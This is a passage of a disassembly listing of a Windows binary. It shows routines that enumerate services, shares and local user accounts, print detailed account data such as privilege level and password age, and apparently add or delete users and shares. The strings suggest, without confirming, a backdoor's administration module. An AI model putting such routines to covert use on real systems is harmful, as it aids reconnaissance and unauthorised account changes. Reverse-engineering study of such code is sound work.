00418256 case 4 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_41829C: ; CODE XREF: sub_418184+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4182A1: ; CODE XREF: sub_418184+41j ; sub_418184+4Bj ... push offset dword_4EDEDC call sub_41D260 pop ecx pop ecx jmp short loc_4182C2 ; --------------------------------------------------------------------------- loc_4182AF: ; CODE XREF: sub_418184+36j ; sub_418184+89j ... push eax ; default ; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4EDEDC call sub_41D260 add esp, 0Ch loc_4182C2: ; CODE XREF: sub_418184+129j mov eax, offset dword_4EDEDC retn sub_418184 endp ; --------------------------------------------------------------------------- off_4182C8 dd offset loc_418272 ; DATA XREF: sub_418184+D2r dd offset loc_418279 ; jump table for switch statement dd offset loc_41828E dd offset loc_418295 dd offset loc_41825D dd offset loc_41826B dd offset loc_418280 dd offset loc_418287 dd offset loc_418264 dd offset loc_4182AF byte_4182F0 db 0, 9, 1, 2 ; DATA XREF: sub_418184+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418302 proc near ; CODE XREF: seg000:00404A6Cp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_4514E8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 14h loc_41833A: ; CODE XREF: sub_418302+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_4514B4 test eax, eax jnz short loc_418374 call ds:dword_4F1310 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_418428 loc_418374: ; CODE XREF: sub_418302+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41841F lea esi, [ebp+var_188] loc_418385: ; CODE XREF: sub_418302+117j mov eax, [esi+8] dec eax jz short loc_4183CE dec eax jz short loc_4183C7 dec eax jz short loc_4183C0 dec eax jz short loc_4183B9 dec eax jz short loc_4183B2 dec eax jz short loc_4183AB dec eax jz short loc_4183A4 push offset aUnknown_1 ; " Unknown" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183A4: ; CODE XREF: sub_418302+99j push offset aPaused_0 ; " Paused" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183AB: ; CODE XREF: sub_418302+96j push offset aPausing ; " Pausing" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183B2: ; CODE XREF: sub_418302+93j push offset aContinuing ; " Continuing" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183B9: ; CODE XREF: sub_418302+90j push offset aRunning ; " Running" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183C0: ; CODE XREF: sub_418302+8Dj push offset aStoping ; " Stoping" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183C7: ; CODE XREF: sub_418302+8Aj push offset aStarting ; " Starting" jmp short loc_4183D3 ; --------------------------------------------------------------------------- loc_4183CE: ; CODE XREF: sub_418302+87j push offset aStopped ; " Stopped" loc_4183D3: ; CODE XREF: sub_418302+A0j ; sub_418302+A7j ... lea eax, [ebp+var_20] push eax call sub_41D260 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax call sub_41D260 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418385 loc_41841F: ; CODE XREF: sub_418302+77j cmp [ebp+var_8], ebx jnz loc_41833A loc_418428: ; CODE XREF: sub_418302+6Cj push [ebp+var_C] call ds:dword_4513F0 xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843F proc near ; CODE XREF: seg000:00404B45p ; seg000:00404B5Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4184D8 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418468 dec eax jnz short loc_4184B8 push edi push 0 call sub_418611 pop ecx pop ecx jmp short loc_4184B4 ; --------------------------------------------------------------------------- loc_418468: ; CODE XREF: sub_41843F+18j cmp [ebp+arg_8], 0 jnz short loc_4184A6 push 24h push edi call sub_41E650 pop ecx test eax, eax pop ecx jnz short loc_4184A6 push 57h pop eax loc_41847F: ; CODE XREF: sub_41843F+77j push eax call sub_418DE9 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4EE198 push ds:off_44DB00[eax*4] push offset unk_44E1E8 push esi call sub_41D260 add esp, 18h jmp short loc_4184F8 ; --------------------------------------------------------------------------- loc_4184A6: ; CODE XREF: sub_41843F+2Dj ; sub_41843F+3Bj push [ebp+arg_8] push edi push 0 call sub_418565 add esp, 0Ch loc_4184B4: ; CODE XREF: sub_41843F+27j test eax, eax jnz short loc_41847F loc_4184B8: ; CODE XREF: sub_41843F+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4EE198 push ds:off_44DB04[eax*4] push offset dword_44E1B4 push esi call sub_41D260 add esp, 10h jmp short loc_4184F8 ; --------------------------------------------------------------------------- loc_4184D8: ; CODE XREF: sub_41843F+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4EE198 lea eax, [eax+eax*2] push ds:off_44DB00[eax*4] push offset unk_44E22C push esi call sub_41D260 add esp, 0Ch loc_4184F8: ; CODE XREF: sub_41843F+65j ; sub_41843F+97j mov eax, esi pop edi pop esi pop ebp retn sub_41843F endp ; =============== S U B R O U T I N E ======================================= sub_4184FE proc near ; CODE XREF: seg000:00419A5Fp arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41850B xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41850B: ; CODE XREF: sub_4184FE+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4F1384 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; dword_4F1384 test ds:byte_4EE398, 1 mov ebp, eax jnz short loc_418548 or ds:byte_4EE398, 1 lea eax, [ebp+1] push eax call sub_41FD90 pop ecx mov ds:dword_4EE138, eax loc_418548: ; CODE XREF: sub_4184FE+32j push esi push esi push ebp push ds:dword_4EE138 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; dword_4F1384 mov eax, ds:dword_4EE138 pop edi pop ebp pop ebx pop esi retn sub_4184FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418565 proc near ; CODE XREF: sub_41843F+6Dp ; seg000:00419CC2p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4185D0 push [ebp+arg_4] mov edi, eax call sub_4185D0 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41E650 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4185D0 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_4513EC pop edi leave retn sub_418565 endp ; =============== S U B R O U T I N E ======================================= sub_4185D0 proc near ; CODE XREF: sub_418565+Ap ; sub_418565+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4185DD pop ebp retn ; --------------------------------------------------------------------------- loc_4185DD: ; CODE XREF: sub_4185D0+9j push ebx push esi mov esi, ds:dword_4F1370 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; dword_4F1370 mov edi, eax lea eax, [edi+edi+2] push eax call sub_41FD90 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; dword_4F1370 pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4185D0 endp ; =============== S U B R O U T I N E ======================================= sub_418611 proc near ; CODE XREF: sub_41843F+20p ; seg000:004199D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4185D0 push [esp+8+arg_4] mov esi, eax call sub_4185D0 pop ecx pop ecx push 0 push eax push esi call ds:dword_4513C4 pop esi retn sub_418611 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418634 proc near ; CODE XREF: seg000:00404B89p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4185D0 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 18h loc_41866D: ; CODE XREF: sub_418634+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_45143C mov ebx, eax cmp ebx, esi jz short loc_4186D0 cmp ebx, 0EAh jz short loc_4186D0 push ebx push ebx call sub_418DE9 pop ecx push eax lea eax, [ebp+var_210] push offset unk_44E2C0 push eax call sub_41D260 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 24h jmp short loc_41873D ; --------------------------------------------------------------------------- loc_4186D0: ; CODE XREF: sub_418634+5Dj ; sub_418634+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418734 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4186DE: ; CODE XREF: sub_418634+FCj push dword ptr [esi+10h] call ds:dword_4513E0 test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4186F5 mov eax, offset aNo ; "No" loc_4186F5: ; CODE XREF: sub_418634+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41D260 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4186DE xor esi, esi loc_418734: ; CODE XREF: sub_418634+A2j push [ebp+var_4] call ds:dword_451580 loc_41873D: ; CODE XREF: sub_418634+9Aj cmp ebx, 0EAh jz loc_41866D xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418755 proc near ; CODE XREF: seg000:00404BDDp ; seg000:00404C04p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4187F9 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418797 dec eax jz short loc_41878C dec eax jnz short loc_4187B2 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_41889B add esp, 14h jmp short loc_4187AE ; --------------------------------------------------------------------------- loc_41878C: ; CODE XREF: sub_418755+1Dj push ebx push edi call sub_41887A pop ecx pop ecx jmp short loc_4187AE ; --------------------------------------------------------------------------- loc_418797: ; CODE XREF: sub_418755+1Aj cmp [ebp+arg_8], edi jz short loc_4187AB push [ebp+arg_8] push ebx push edi call sub_418820 add esp, 0Ch jmp short loc_4187AE ; --------------------------------------------------------------------------- loc_4187AB: ; CODE XREF: sub_418755+45j push 57h pop eax loc_4187AE: ; CODE XREF: sub_418755+35j ; sub_418755+40j ... cmp eax, edi jnz short loc_4187D2 loc_4187B2: ; CODE XREF: sub_418755+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4EE39C push ds:off_44DB04[eax*4] push offset unk_44E300 push esi call sub_41D260 add esp, 10h jmp short loc_418819 ; --------------------------------------------------------------------------- loc_4187D2: ; CODE XREF: sub_418755+5Bj push eax call sub_418DE9 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4EE39C push ds:off_44DB00[eax*4] push offset unk_44E338 push esi call sub_41D260 add esp, 18h jmp short loc_418819 ; --------------------------------------------------------------------------- loc_4187F9: ; CODE XREF: sub_418755+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4EE39C lea eax, [eax+eax*2] push ds:off_44DB00[eax*4] push offset unk_44E380 push esi call sub_41D260 add esp, 0Ch loc_418819: ; CODE XREF: sub_418755+7Bj ; sub_418755+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418755 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418820 proc near ; CODE XREF: sub_418755+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4185D0 push [ebp+arg_4] mov edi, eax call sub_4185D0 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4185D0 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_4513D0 pop edi leave retn sub_418820 endp ; =============== S U B R O U T I N E ======================================= sub_41887A proc near ; CODE XREF: sub_418755+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4185D0 push [esp+8+arg_4] mov esi, eax call sub_4185D0 pop ecx pop ecx push eax push esi call ds:dword_4513C0 pop esi retn sub_41887A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41889B proc near ; CODE XREF: sub_418755+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4185D0 push [ebp+arg_4] mov esi, eax call sub_4185D0 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_451548 test eax, eax mov [ebp+arg_0], eax jnz loc_418C28 mov eax, [ebp+var_4] test eax, eax jz loc_418C63 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41D260 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4189B4 dec eax jz short loc_4189AD dec eax jz short loc_4189A6 mov eax, offset aUnknown_0 ; "Unknown" jmp short loc_4189B9 ; --------------------------------------------------------------------------- loc_4189A6: ; CODE XREF: sub_41889B+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4189B9 ; --------------------------------------------------------------------------- loc_4189AD: ; CODE XREF: sub_41889B+FFj mov eax, offset aUser_3 ; "User" jmp short loc_4189B9 ; --------------------------------------------------------------------------- loc_4189B4: ; CODE XREF: sub_41889B+FCj mov eax, offset aGuest ; "Guest" loc_4189B9: ; CODE XREF: sub_41889B+109j ; sub_41889B+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41D260 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40145D add esp, 20h pop edi pop ebx jmp short loc_418C54 ; --------------------------------------------------------------------------- loc_418C28: ; CODE XREF: sub_41889B+35j push eax lea eax, [ebp+var_204] push offset unk_44E548 push eax call sub_41D260 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40145D add esp, 20h loc_418C54: ; CODE XREF: sub_41889B+38Bj cmp [ebp+var_4], 0 jz short loc_418C63 push [ebp+var_4] call ds:dword_451580 loc_418C63: ; CODE XREF: sub_41889B+40j ; sub_41889B+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_41889B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C69 proc near ; CODE XREF: seg000:00404C41p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4185D0 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 18h loc_418CA8: ; CODE XREF: sub_418C69+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_451454 cmp eax, esi mov [ebp+var_C], eax jz short loc_418D09 cmp eax, 0EAh jz short loc_418D09 push eax push eax call sub_418DE9 pop ecx push eax lea eax, [ebp+var_218] push offset unk_44E5F4 push eax call sub_41D260 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 24h jmp short loc_418D84 ; --------------------------------------------------------------------------- loc_418D09: ; CODE XREF: sub_418C69+62j ; sub_418C69+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_418D97 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_418D84 loc_418D1B: ; CODE XREF: sub_418C69+EDj cmp edi, esi jz short loc_418D5A push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_34 ; " %S" push eax call sub_41D260 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_418D1B jmp short loc_418D84 ; --------------------------------------------------------------------------- loc_418D5A: ; CODE XREF: sub_418C69+B4j lea eax, [ebp+var_218] push offset unk_44E5A8 push eax call sub_41D260 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 1Ch loc_418D84: ; CODE XREF: sub_418C69+9Ej ; sub_418C69+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_418D97 push edi call ds:dword_451580 xor edi, edi mov [ebp+var_4], edi loc_418D97: ; CODE XREF: sub_418C69+A5j ; sub_418C69+120j cmp [ebp+var_C], 0EAh jz loc_418CA8 cmp edi, esi jz short loc_418DAF push edi call ds:dword_451580 loc_418DAF: ; CODE XREF: sub_418C69+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41D260 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_418C69 endp ; =============== S U B R O U T I N E ======================================= sub_418DE9 proc near ; CODE XREF: sub_41843F+41p ; sub_418634+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_418E9B jz loc_418E94 cmp eax, 7Bh ja short loc_418E60 jz short loc_418E56 cmp eax, 5 jz short loc_418E4C cmp eax, 8 jz short loc_418E42 cmp eax, 32h jz short loc_418E38 cmp eax, 35h jz short loc_418E2E cmp eax, 57h jnz loc_418EEA push offset aInvalidParamet ; "Invalid parameter." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E2E: ; CODE XREF: sub_418DE9+30j push offset aServerNameNotF ; "Server name not found." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E38: ; CODE XREF: sub_418DE9+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418DE9+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E4C: ; CODE XREF: sub_418DE9+21j push offset aAccessDenied_ ; "Access denied." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E56: ; CODE XREF: sub_418DE9+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE9+1Aj sub eax, 7Ch jz short loc_418E8D sub eax, 7C8h jz short loc_418E86 dec eax jz short loc_418E7C dec eax jnz short loc_418EEA push offset aDuplicateShare ; "Duplicate share name." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E7C: ; CODE XREF: sub_418DE9+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_418F0B ; --------------------------------------------------------------------------- loc_418E86: ; CODE XREF: sub_418DE9+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418E8D: ; CODE XREF: sub_418DE9+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418E94: ; CODE XREF: sub_418DE9+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418E9B: ; CODE XREF: sub_418DE9+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_418ED4 jz short loc_418ECD sub eax, 8ADh jz short loc_418EFF dec eax dec eax jz short loc_418EC6 dec eax jz short loc_418EBF dec eax dec eax jnz short loc_418EEA push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418EBF: ; CODE XREF: sub_418DE9+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418EC6: ; CODE XREF: sub_418DE9+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418ECD: ; CODE XREF: sub_418DE9+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418ED4: ; CODE XREF: sub_418DE9+B9j sub eax, 8CAh jz short loc_418F06 sub eax, 17h jz short loc_418EFF sub eax, 25h jz short loc_418EF8 sub eax, 29h jz short loc_418EF1 loc_418EEA: ; CODE XREF: sub_418DE9+35j ; sub_418DE9+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418EF1: ; CODE XREF: sub_418DE9+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE9+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418EFF: ; CODE XREF: sub_418DE9+C2j ; sub_418DE9+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_418F0B ; --------------------------------------------------------------------------- loc_418F06: ; CODE XREF: sub_418DE9+F0j push offset aNetworkConnect ; "Network connection not found." loc_418F0B: ; CODE XREF: sub_418DE9+40j ; sub_418DE9+4Aj ... push offset dword_4EE13C call sub_41D260 pop ecx mov eax, offset dword_4EE13C pop ecx retn sub_418DE9 endp ; --------------------------------------------------------------------------- loc_418F1D: ; CODE XREF: seg000:00404C86p push 